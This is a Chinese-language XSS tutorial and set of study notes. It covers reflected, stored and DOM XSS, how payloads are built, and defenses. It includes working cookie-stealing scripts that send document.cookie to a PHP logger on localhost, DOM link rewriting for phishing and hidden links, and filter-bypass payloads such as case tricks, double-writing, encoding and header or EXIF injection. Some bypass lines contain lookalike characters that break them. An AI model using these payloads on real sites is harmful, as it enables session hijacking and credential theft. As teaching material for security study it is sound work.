XSS 绕过实例, 钓鱼网站,会话劫持
钓鱼网站,会话劫持)
1.基础
1.1 原理
a、用户输入不可控
b、用户输入恶意的前端代码,在前端执行
c、注入的是js代码,插入标签,然后闭合,构造新的标签
用户可控数据:所有来自客户端的数据都可以被客户端控制,包括url、参数、HTTP头部字段(cookie、 referer、HOST等)、请求正文等都属于用户可控数据
###学习XSS重点关注的点
- 用户可控输入的位置:用户哪一项可控输入被读取?
- 处理用户输入的代码在什么位置?
- 用户输入是否经过存储?
- 输出的页面是哪一个?
- 输出的内容位于页面的哪个位置?
1.2 危害
a、恶意的篡改网页
b、添加钓鱼网站
c、XSS配合CSRF,实施进一步攻击
d、会话劫持----通过获取cookie值
c、挂暗链—提高访问量
挂暗链原理:利用ajax原理,被攻击者对其他网站做请求,
由于被攻击网站有XSS漏洞,且被访问的流量大,在被攻击网站上进行payload注入,
用户在访问被攻击者网站时,也会访问攻击者提前设定好的网站。
可提高攻击者设定网站的访问量
通常XSS注入并不能对服务器产生直接的危害,而是通过攻击客户端(其他用户)来达到攻击目标
1.3 分类
反射型XSS—非持久性XSS
- 前端输入js代码,后端将接受到的js代码直接拼接到静态网页中进行输入,然后让前端(浏览器进行解析),造成xss漏洞
- 由于用户可控数据没有被存储,所以每攻击一次提交一次攻击代码
- 影响范围相对与存储型而言较低-------攻击效率低
- 攻击难度较小-----针对payload的传输方式而言
存储型XSS----持久性XSS
- 前端输入的js数据会被放到数据库中存储,当用户再次访问次某页面时,存储下来的js代码会被读取出来,发送给前端(浏览器)。
- 只提交一次攻击代码。
- 攻击范围较广。
- 攻击难度更小-----针对payload的传输方式而言
DOM型XSS
DOM结构是将HTML文件的节点构建成树状结构,以此反应HTML本身的阶层结构。用过构造 javascript恶意语句就可以修改HTML的DOM结构中的某个值,从而触发跨站脚本攻击
特殊的跨站,将用户可控数据通过JavaScript和DOM技术输出到HTML中,利用方式通常与反射型XSS类似
通过浏览器本地获取用户输入,代码在客户端被处理,并且输出在当前页面
1.4 攻击流程
基本payload构造
<script>alert(1)</script>
<body onload=alert(1)>
<input onclick=alert(1)>
<img src=1 onerror=alert(1)>
<a href=javascript:alert(1)>
渗透思路
- 找注入点----有数据输入的地方
反射型:url,搜索框,登录框
存储型:评论留言,智能问答,栏目管理 - 判断是否可能存在XSS
- 分析回显位置
- 考虑闭合方式
- 构造基本的payload
- 提交payload。如果正常执行,证明xss存在;如果不正常执行,考虑绕过,然后再次构造并提交payload
构造payload----重点
根据输出位置选择payload的构造方式
空白位置:插入新的script标签
Html标签中:闭合标签并建立 新的script标签
Html标签属性中:闭合标签属 性插入新的属性
Javascript中:闭合javascript语 句并写入新的语句
CSS中:闭合CSS标签属性并插 入新的script标签
利用< >标记注入Html/Javascript。
<script>[code]</script> → <script>alert(/xss/)</script>
利用HTML标签属性值执行XSS。
<HTML标记 javascript:[code]> → (IE6版本)
<a href="javascript:alert(1)">
通过事件来触发XSS。
<HTML标记 on事件=code> 如→ <img src=1 onerror="alert(/1/)">
<h1 onmouseover="alert(/1/)">鼠标移动到此位置即可触发事件</h1>
1.5 防护
1.过滤风险字符
2. 实体化编码(字符替换)
将攻击者输入的代码进行编码,
浏览器在执行代码的时候,攻击者注入的代码就不会被执行
但是对sql注入不起作用
3.使用http only的cookie,防止cookie被截取
4.实现session标记
5.Web服务器安装WAF/IDS/IPS等产品,拦截攻击代码;
6.关闭浏览器自动密码填写功能,防止被钓鱼页面、表单调取账号密码;
2. 利用存储型XSS盗取cookie
登录成功才会有cookie
在浏览器页面,打开控制台,输入document.cookie可以获取cookie的值
cookie存在于客户端,每个用户有唯一的cookie
实现流程
方式1:关键用document
- 在PHPStudy的www的目录下面创建两个文件;分别为xss_cookie.html、cookie.php
- 两个代码时有关联的。首先是js代码作为payload。
- document.location跳转到http://127.0.0.1/cookie.php?cookie 这个地址
- document.cookie获取cookie的值,赋给cookie这个变量
- 因此php代码中的$_GET[‘cookie’] 的cookie要和 js中的 cookie.php?cookie= 写成一样
js代码–xss_cookie.html
<html>
<head>
</head>
<body>
<script>
document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie
</script>
</head>
</body>
</html>
php代码–cookie.php
<?php
echo $_GET['cookie'];
?>
方式2:ajax
测试步骤和方式1一模一样,只是代码不同,这种方式更隐蔽
-
open(method,url,async) 规定请求的类型、URL 以及是否异步处理请求。
method:请求的类型;GET 或 POST url:文件在服务器上的位置 async:true(异步)或 false(同步)
-
如果需要像 HTML 表单那样 POST 数据,请使用 setRequestHeader() 来添加 HTTP 头
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //参数1:规定头的名称 //参数2:规定头的值
js代码
<script>
cookie='+document.cookie;
var url='http://127.0.0.1/getCookie.php';
var data='cookie1='+document.cookie;
var nxhr= new XMLHttpRequest(); //创建一个XMLHttp的请求
nxhr.open('POST',url); //规定请求类型,url,参数3表示是否异步,true是异步
nxhr.setRequestHeader('content-type','application/x-www-form-urlencoded');
nxhr.send(data);
</script>
php代码
<?php
date_default_timezone_set("Asia/shanghai") ; //设置时区
$cookie = $_POST['cookie1']; //获取cookie值,此环境下必须用post,用get得不到cookie值
$time = date("Y-m-d H:i"); //设置年月日的格式
echo $time;
$refer = $_SERVER['HTTP_REFERER'];
$content = $time."::"."$refer"."::".$cookie."\r\n"; //设置打印内容格式
file_put_contents("cookie.txt", $content, FILE_APPEND); //在cookie.txt文件中打印
?>
在cookie.txt文件中查看打印结果
上述PHP简化版代码
<?php
echo $_POST['cookie1'];
?>
3. DOM节点修改
DOM结构是将HTML文件的节点构建成树状结构,以此反应HTML本身的阶层结构。用过构造 javascript恶意语句就可以修改HTML的DOM结构中的某个值,从而触发跨站脚本攻击
利用此原理可以做钓鱼网站
挂暗链
关键就是跳转,修改原js代码中的url
钓鱼网站的关键是,攻击者使用一个服务器脚本,能够获取用户输入的数据,保存到一个我们可以访问的文件(或数据库)中。
理论补充
-
getElementsByTagName() 方法可返回带有指定标签名的对象的集合。
document.getElementsByTagName("*"); 返回<script></script>内的所有标记值的 数量+1 document.getElementsByTagName("p")[3]; 获得文档中的第四个段落: <a href=http://www.baidu.com>1</a> <script> document.getElementsByTagName("a")[0].href="http://www.doon e.com.cn"; //getElementsByTagName(“标签名”)[第几个标签].要修改的属性名 </script> //最终http://www.baidu.com被替换成http://www.done.com.cn
-
getElementsById()
document.getElementById("myid").innerHTML --获取到的值为 "跳转到百度" document.getElementById("myid").href --获取到的值为 "https://www.baidu.com" <a id='myid' href="https://www.baidu.com">跳转到百度</a>
-
getElementsByName() 方法可返回带有指定名称的对象的集合。
例子
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>NewDoone</title>
</head>
<body>
<script> document.getElementsByTagName("body")[0].onload=function changeLink()
{document.getElementsByTagName("a")[1].href="http://www.doone.com.cn";}
</script>
<a id= "abc1" href=http://www.baidu.com>test1</a>
<a id= "abc2" href=http://www.baidu.com>test2</a>
<a id= "abc3" href=http://www.baidu.com>test3</a>
</body>
</html>
注入的payload
document.getElementsByTagName("body")[0].onload=function changeLink()
{document.getElementsByTagName("a")[1].href="http://www.doone.com.cn";}
注意要根据标签的不同使用不同的属性,如onclick,onmouseover等
注意闭合
4. 绕过实例
绕过原理
1. 针对关键词过滤
- 双写的时候一定要嵌套
- 大小写
- 用其他属性标签—<img …>;或事件属性:onerror,onmouseover等
- 编码----利用ascii编码,十六进制编码,base64编码等
- alert()的替代词:confirm(),prompt()
2. 针对正则表达式
- 使用其他标签
alert()的替代词:confirm(),prompt()
用其他属性标签—<img …>;或事件属性:onerror,onmouseover等
场景一:事件+单引号闭合
‘οnmοuseοver=alert(1)’
查看源代码后发现,value是要用单引号进行闭合
场景二:大小写绕过
"><scRIp>alert(1)</script><"
发现script字符被过滤
场景三:双写绕过
输入后执行返回的结果
查看源码,发现script被过滤
下面这样输入时成功的
场景四:JavaScript伪协议+编码
javascript:alert(‘http://www.xxx.xxx.com’)
-
像往常做法一样,先注入payload,没有反应
-
然后在观察源代码,根据网页提示信息,在输入框输入http://www.baidu.com
-
发现输入的内容 出现在了这个地方,因此有xss注入漏洞。发现script被转换成scr_ipt
- 大小写不能绕过
- 双写不能绕过
- 因此最后只能用编码的方式
场景五:事件+%0a当做空格
<input%0aοnmοuseοver=alert(1)>
在url中输入的内容会显示在网页中,有xss漏洞
- 在url框中输入,发现被过滤
- 在url框内输入的空格,在执行的时候会被转为%20(url编码),但是会被后端服务器识别,用 代替,因此要用其他编码%0a
在url框输入 te st,查看源码。根据题意,空格只能用%0a代替
场景六:http头部参数插入payload
-
经过对源代码的分析,发现某个input标签的value值很特殊,使用burpsuite进行抓包,然后value值是http包中的user-agent的值
-
用了burpsuite抓包
user-agent的值会显示在第四个input标签内
场景七:文件解析
方法一:
基于网页上回显的图片的版本,照相机型号等信息。
上传一个jpg后缀的图片,由于网页上能回显版本,照相机型号等信息。
因此可以在这些参数输入payload,然后上传图片。上传图片之后,版本,照相机型号等信息被处理,从而执行payload。
准备一张后缀为jpg的图片,右击属性,修改这些参数
方法二:
基于网页上回显的图片的名字
上传图片之后,网页上能回显照片的名字,是因为名字被引用在前端的其它地方。
因此把此信息重新构造成payload,此信息是可以被执行的。因此我们就可以改变图片的名字,写成payload